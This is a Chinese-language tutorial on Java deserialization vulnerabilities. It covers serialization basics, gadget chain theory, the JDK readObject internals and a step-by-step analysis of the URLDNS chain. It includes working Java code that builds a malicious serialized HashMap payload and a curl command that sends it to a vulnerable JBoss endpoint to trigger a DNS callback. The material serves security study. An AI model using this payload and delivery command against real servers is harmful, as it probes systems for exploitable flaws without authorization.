序列化与反序列化基础

什么是序列化与反序列化?

序列化是将复杂的数据结构或对象转换为字节序列的过程,以便于在网络上传输、存储或持久化,在序列化过程中,对象的状态被转换成字节流,使得它可以被写入文件或通过网络发送。

反序列化则是序列化的逆过程,即将序列化后的字节流转换回原始的数据结构或对象,在反序列化过程中,从序列化后的数据中提取出原始对象的状态,并将其重新构建为内存中的对象,这使得数据可以从持久化的状态重新恢复为原始的可操作对象,以便进行进一步的处理或使用。

这两个过程通常用于在不同系统之间进行数据交换,例如在客户端和服务器之间、不同编程语言之间、或者将对象持久化到数据库或磁盘上。

常见的序列化有二进制格式的,譬如 Java Serialization、Ruby Marshal 等;人类可读格式的,如 JSON、XML、YAML 等;以及混合格式的,如 Python pickle、PHP Serialization 等。

序列化与反序列化在 Java 中的实现

Java 序列化

在 Java 中,如果要使一个类可序列化,只需该类实现Serializable接口,Serializable是一个标记接口,不包含任何方法,只是为了表示该类是可序列化的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.Serializable;

public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person [name=" + name + ", age=" + age + "]";
}
}

然后,使用ObjectOutputStream类可以将对象序列化成字节流,再将字节流保存到文件或通过网络传输。如下将Person对象序列化到person.ser文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class SerializationExample {
public static void main(String[] args) {
try (FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {

Person person = new Person("Martin", 21);
out.writeObject(person);
System.out.println("Person object has been serialized.");

} catch (Exception e) {
e.printStackTrace();
}
}
}

对该对象进行序列化时,Java 会将对象转换为字节流并以特定的格式进行存储,通过查看person.ser文件的十六进制内容,可以发现 Java 序列化数据是以aced开头的,Base64 编码则是rO0,这也是 Java 序列化数据的魔术数(Magic Number),用于标识 Java 序列化的数据。

在其之后紧跟着的是序列化规范的版本号,例如0005表示 Java 序列化规范的版本号是 5,再之后的内容就是具体的对象数据,包括类名、字段名、字段类型和字段值等。

1
2
3
4
5
6
7
8
xxd person.ser
00000000: aced 0005 7372 0022 636f 6d2e 6a61 7661 ....sr."com.java
00000010: 7365 632e 6465 7365 7269 616c 697a 6174 sec.deserializat
00000020: 696f 6e2e 5065 7273 6f6e 0000 0000 0000 ion.Person......
00000030: 0001 0200 0249 0003 6167 654c 0004 6e61 .....I..ageL..na
00000040: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/
00000050: 5374 7269 6e67 3b78 7000 0000 1574 0006 String;xp....t..
00000060: 4d61 7274 696e Martin

Java 反序列化

而当 Java 收到序列化数据时,会使用ObjectInputStream类从字节流中反序列化对象。如下从person.ser文件中反序列化Person对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DeserializationExample {
public static void main(String[] args) {
try (FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {

Person person = (Person) in.readObject();
System.out.println("Person object has been deserialized.");
System.out.println("Name: " + person.getName());
System.out.println("Age: " + person.getAge());

} catch (Exception e) {
e.printStackTrace();
}
}
}

这样,一个简单的序列化与反序列化过程就介绍完毕了。

serialVersionUID 版本控制

Serializable接口中,可以定义一个名为serialVersionUIDstatic final long字段。这个字段是用来控制对象的序列化版本。如果不显式地定义serialVersionUID,Java 会自动生成一个,但一旦修改了类的结构,生成的serialVersionUID可能会发生变化,导致旧版本的序列化对象无法被正确反序列化。

1
private static final long serialVersionUID = 1L;

不可序列化的

可以使用transient关键字来标记类的字段,告诉 Java 序列化机制不要将这些字段包含在序列化中。这在某些情况下很有用,比如一些涉及敏感信息的字段不希望被序列化。

除此之外,静态成员变量也是无法被序列化的,原因是因为序列化是针对对象及其实例变量的,而静态成员变量是类变量,属于类的状态,而非对象的状态。

1
2
3
4
5
public class Person implements Serializable {
private String name;
private transient int age; // 不会被序列化
private static int staticField; // 不会被序列化
}

Externalizable 接口

要使一个类可序列化,除了实现Serializable接口外,还可以实现Externalizable接口,该接口继承自Serializable

在实现Externalizable接口时,必须实现一个类的无参构造器,还需实现writeExternal方法来定义对象的序列化方式,以及readExternal方法来定义对象的反序列化方式,这样可以更精确地控制对象的序列化和反序列化过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.Externalizable;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.IOException;

public class Person implements Externalizable {
private static final long serialVersionUID = 1L;
private String name;
private int age;

// 必须实现一个无参构造器
public Person() {
}

// 实现writeExternal和readExternal方法
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(name);
out.writeInt(age);
}

@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
name = (String) in.readObject();
age = in.readInt();
}

// ...
}

Java 反序列化漏洞的前世今生

发展历史

Java 反序列化漏洞这一类型的漏洞利用,早在 2011 年就已在 Spring 中出现了第一个致使远程代码执行的 Java 反序列化利用,但在当时,反序列化这类问题并没有引起广泛的注意。

直至 2015 年 1 月加州 AppSec 安全会议上,Chris Frohoff 和 Gabe Lawrence 发表《Marshalling Pickles》主题演讲,内容涵盖跨平台的反序列化漏洞、反序列化漏洞采取的多种形式以及可以找到反序列化漏洞的位置,除此之外,还包含了一些使用常用库中的类来攻击 Java 序列化的新颖技术,这些技术在随后也以 Ysoserial 工具的形式发布了。

再到 2015 年底才开始有其他研究人员使用这些技术和工具来利用 Bamboo、WebLogic、WebSphere、ApacheMQ 和 Jenkins 等知名产品,从那时起,Java 反序列漏洞这一主题就被推到了公众视野中,并引起了广泛的关注。

简单的反序列化利用:应用程序逻辑操纵

在《Marshalling Pickles》主题演讲中,Chris Frohoff 和 Gabe Lawrence 演示了一个存在逻辑缺陷的网站,攻击者通过修改反序列化数据中的属性值,从而达到对管理员用户的未授权登录。如下是相关的序列化类代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.qualcomm.isrm.appsec;

import java.io.Serializable;

public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private boolean userIsAdmin=false;

public User(String name) {
super();
this.name = name;
}

public String getName() {
return name;
}

public boolean isAdmin(){
return this.userIsAdmin;
}
}

存在逻辑缺陷的代码如下,如下代码片段对传入的 Cookie 值进行了反序列化转变为对象的操作(如下readObject方法),并获取了对象中的 name,判断是否管理员 name,是则进入到管理员用户页面。

攻击者只需抓包,修改 Cookie 中的序列化数据,将其中的 name 修改为管理员的 name,即可达到恶意目的。

当然,在现代网站中,如上情景出现的概率不大,且这种反序列化逻辑操纵的危害也有限。

反序列化危害升级:任意代码执行

那么,Chris Frohoff 和 Gabe Lawrence 就继续在演讲中对反序列化的危害做出了升级的利用,即达到任意代码执行,他们在演讲中对这种利用方式又称之为 Property-Oriented Programming 或 Object Injection,即面向属性编程或对象注入。

面向属性编程,简称 POP,原本是一种编程范式,旨在通过属性的方式来描述程序的行为和结构。放在这里也这么称呼是由于在 Java 反序列化攻击中,攻击者可以控制反序列化对象的所有属性,这与二进制中的面向返回编程(ROP,Return-Oriented Programming)攻击类似,攻击者利用程序中已有的 gadget 代码片段,并通过构建一系列的 gadget 调用构造完整链,来实现特定的攻击目的,如执行恶意代码。

作者也在演讲中详细指出了关于构造完整 gadget 链的要点。首先,gadget 类是需要从应用程序中寻找,其次是构成完整 gadget 链的三部分:

  • 以在反序列化过程中或之后执行的 kick-off gadget 开始。
  • 以执行任意代码或命令的 sink gadget 结束。
  • 使用其他 gadget 来启动 gadget 的执行直至结束 gadget。

当完整的 gadget 链构造成功后,将其序列化并发送至应用程序中存在漏洞的反序列化处,最后在反序列化时,gadget 链就会在应用程序中执行。

反序列化任意代码执行攻击的局限性

由于反序列化任意代码执行攻击的复杂性,也相应地带来了一定的局限性,在演讲中也指出了条件与注意事项。

  • 只能使用应用程序可用的类。
  • 存在漏洞代码的 ClassLoader 与 gadgets 问题。
  • gadgets 类必须实现 Serializable/Externalizable 接口。
  • 库或类版本的差异问题。
  • Static 类型常量约束问题。

Java 反序列化漏洞 Kick-off Gadget

重写 readObject 致使任意代码执行

反序列化漏洞利用的第一步就是利用某个重写了readObject方法的类,通常它也作为 kick-off gadget。如下将演示一个类重写了readObject方法,并且其中存在恶意的行为,当这个类对象被序列化后,再被由ObjectInputStream读取对象进行反序列化时,恶意的行为便会被触发。

如下User类,实现了Serializable接口,在其中重写了readObject方法,且readObject方法中使用到了Runtime.getRuntime().exec方法来执行系统命令。

当这个类被序列化后被保存至本地,在随后读取该文件,并对该类进行反序列化时,原本是调用readObject方法将存储在文件中的 Java 对象读入至内存中,并返回一个 Object 对象。但由于User类中存在一个重写的readObject方法,那么该方法就会被优先执行,最终系统命令被执行,即弹出一个计算器。

但在实际应用程序中,几乎不可能存在这么简单、直接的利用方式,原因很简单,几乎不可能有开发人员会在重写的 readObject 方法中编写恶意操作的代码,更具体地说,如上情况 kiff-off 入口类和 sink 危害类都是User类,且产生恶意行为就存在于 readObject 方法中,不太可能会有这么巧的事情。

通常更现实的情况是如下两种两种情况:

  1. 重写了 readObject 方法的 A 类存在触发 B 类的危害点,从 kiff-off 直接到 sink。
  2. 重写了 readObject 方法的 A 类作为 kiff-off,但其中并不能直接触发到 B 类的危害点,需要不断地找两者之间的其他类方法作为中间调用链,直至到达 B sink 类。

第二种情况更常见,寻找中间链也是极其复杂与繁琐的一个过程。

readObject 方法执行过程分析

如上演示了重写的readObject()方法在反序列化过程中会被执行,但究其原因,仅仅就近原则四个字可不够解释得通。如下将详细分析这个反序列化命令执行的过程,将断点打至该方法行以进行调试。

跟进其中,发现调用了重载方法。

1
2
3
4
public final Object readObject()
throws IOException, ClassNotFoundException {
return readObject(Object.class);
}

进入这个重载方法中,在其中又调用了readObject0方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private final Object readObject(Class<?> type) throws IOException, ClassNotFoundException {
if (enableOverride) {
return readObjectOverride();
}

if (! (type == Object.class || type == String.class))
throw new AssertionError("internal error");

// if nested read, passHandle contains handle of enclosing object
int outerHandle = passHandle;
try {
Object obj = readObject0(type, false);
handles.markDependency(outerHandle, passHandle);
ClassNotFoundException ex = handles.lookupException(passHandle);
if (ex != null) {
throw ex;
}
if (depth == 0) {
vlist.doCallbacks();
}
return obj;
} finally {
passHandle = outerHandle;
if (closed && depth == 0) {
clear();
}
}
}

readObject0方法如下,该方法将读取从ObjectOutputStream写入的对象的字节表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private Object readObject0(Class<?> type, boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}

byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
totalObjectRefs++;
try {
switch (tc) {
case TC_NULL:
return readNull();

// ...

case TC_OBJECT:
if (type == String.class) {
throw new ClassCastException("Cannot cast an object to java.lang.String");
}
return checkResolve(readOrdinaryObject(unshared));

// ...

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}

TC_OBJECT是 Java 序列化机制中用于标识对象开始的特殊标记之一,当读取到(byte)0x73时(即TC_OBJECT常量),意味着这是一个对象序列化数据的开始,那接下来便会调用readOrdinaryObject方法对对象做进一步处理。

readOrdinaryObject方法中,首先调用了readClassDesc方法用于读取对象序列化数据流中的类描述符,包括类名、序列化版本号、字段等等信息,如若类实现了Externalizable接口,便执行readExternalData方法,否则就执行readSerialData方法。

继续进入到readSerialData方法,在其中通过了hasReadObjectMethod方法来判断对象是否有重写readObject方法,如果有重写,便调用invokeReadObject方法调用对象中的readObject方法。

进入到invokeReadObject方法,成功弹出计算器。

URLDNS 链分析

在前面提到过,要成功执行反序列化攻击,需要有开头的 Kick-off 入口类(重写了 readObject 方法的类)、存在恶意行为的 Sink 类(执行恶意操作的结束类)以及中间 Gadget 链(用于将 Kick-off 与 Sink 连成一条完整链)。

如下以分析一个在实际现实中存在的Gadget链作为补充理解,理解URLDNS链对后续学习CommonsCollections6会有极大帮助,因为在CC6中也使用到了`HashMap`类作为Kick-off,也会涉及到`hashCode`方法。

Sink:URL#hashCode

Java 中的java.net.URL类提供许多方法用于解析、构建和处理 URL,包括获取 URL 的协议、主机、端口、路径等信息,以及打开连接、读取内容等操作,该类使 Java 程序可以很方便地与互联网上的资源进行交互和通信。

URL类由Serializable实现,意味着该类可序列化,满足反序列化漏洞必备的条件之一。

1
public final class URL implements java.io.Serializable

URL类中存在一个hashCode方法,该方法的作用是用于计算 URL 对象的哈希,但它还有一个奇怪的副作用,当调用该方法时,会对成员变量hashCode进行判断,如果该值不等于-1 则直接返回该值,而成员变量hashCode的默认值就是-1,这也就意味着在正常情况下会调用handler.hashCode方法。

1
2
3
4
5
6
7
8
9
private int hashCode = -1;

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

调用的handler.hashCode方法,即java.net.URLStreamHandler#hashCode,这个方法调用了getProtocolgetHostAddress等方法,根据这些方法名称,可以大致判断出这是在获取一个 URL 的几大部分,比如协议、主机名等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// ...

return h;
}

而在getHostAddress方法中,又调用了InetAddress.getByName方法,这个方法会对提供的 host 进行解析从而获取它的 IP 地址,这样将会触发一个 DNS 查询。

那么这个 DNS 查询就是 URLDNS 链的所触发的恶意行为,虽然这个恶意行为的影响未必比得上远程代码执行,但作为反序列化漏洞的一个检测方式,还是很合适的,当然前提是服务器端的 DNS 流量能够出网。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

编写如下代码片段进行测试,可以发现,确实能够对指定的 host 触发 DNS 查询。

1
2
3
4
5
6
7
8
9
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception {

URL url = new URL("http://urlhashcode.2acv23914hb.ipv6.bypass.eu.org");
url.hashCode();
}
}

作为补充说明的一点是,在URL类中,除了hashCode方法外,equals方法也能达到同样的恶意行为。

Kick-off:HashMap#readObject

java.util.HashMap是 Java 中常用的集合类之一,它提供了一种快速的查找机制,可以根据键来快速查找对应的值,HashMap 的常见操作包括插入元素、获取元素、删除元素、判断是否包含某个键等。

HashMap类中有对readObject方法进行重写,重写后的readObject方法首先读取了HashMap的结构状态,然后为其包含的所有项开启一个循环,循环时从流中读取 key 和 value。最后调用putVal方法,在其中通过hash方法获取 key 的哈希,还有 key、value。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

hash方法如下,这个方法会调用传入的对象的hashCode方法。

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

结合如上段落的分析,当传入一个 URL 对象到这个hash方法,便会执行java.net.URL#hashCode方法,这样就能够触发恶意行为。

继续观察HashMap类,发现在put方法对putVal方法进行了调用,此处同样调用了hash 方法。

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

既然如此,那就可以将一个URL对象放置在HashMap中,通过调用HashMapput方法,从而在反序列化执行readObject方法时触发hash方法的执行,该方法将调用传入的URL对象的hashCode方法,如此便可达到执行 DNS 查询的恶意行为。

利用代码及验证

利用代码如下,关于详细的代码释义见其中的代码注释。需要特别注意地是,在序列化时,需要通过反射修改 hashCode 成员变量为非-1,否则在序列化时就会触发 DNS 请求,这样将会对反序列化漏洞的检测造成误报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.javasec.urldns;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception {

URL url = new URL("http://urldns.1asj4bef1af.ipv6.bypass.eu.org");

// 利用反射技术获取java.net.URL类对象
Class c = Class.forName("java.net.URL");

// 获取hashCode成员变量
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
// 修改hashCode的值为非-1,以防止在序列化时触发DNS查询,造成误报
f.set(url, 1);

HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 0);

// 将hashCode改回-1,以在反序列化时触发DNS查询
f.set(url, -1);

// 生成恶意的序列化数据
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
oos.writeObject(hashMap);
}
}

现在,向一个存在反序列化漏洞的 Jboss 环境发送如上生成的恶意序列化数据,效果符合我们的预期,见如下图,即 Jboss 服务器成功向我们指定的域发起 DNS 查询。

1
2
3
4
5
curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@urldns.ser" http://192.168.1.128:8080/invoker/readonly

<html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: java.util.HashMap cannot be cast to org.jboss.invocation.MarshalledInvocation
org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)
</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>%

URLDNS 链总结

URLDNS 链比较简单,由于它只依赖原生类,没有 JDK 版本限制,且没有危害,只会触发 DNS 查询,所以它常被用作来检测反序列化漏洞,但前提是服务器的 DNS 流量必须出网。

由于该链的简单性,它只有 kick-off 和 sink,之间没有其他的类作为中间调用链。

  • kick-off:java.util.HashMap#readObject
  • sink:java.net.URL#hashCode

完整 gadget 调用链如下。

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

参考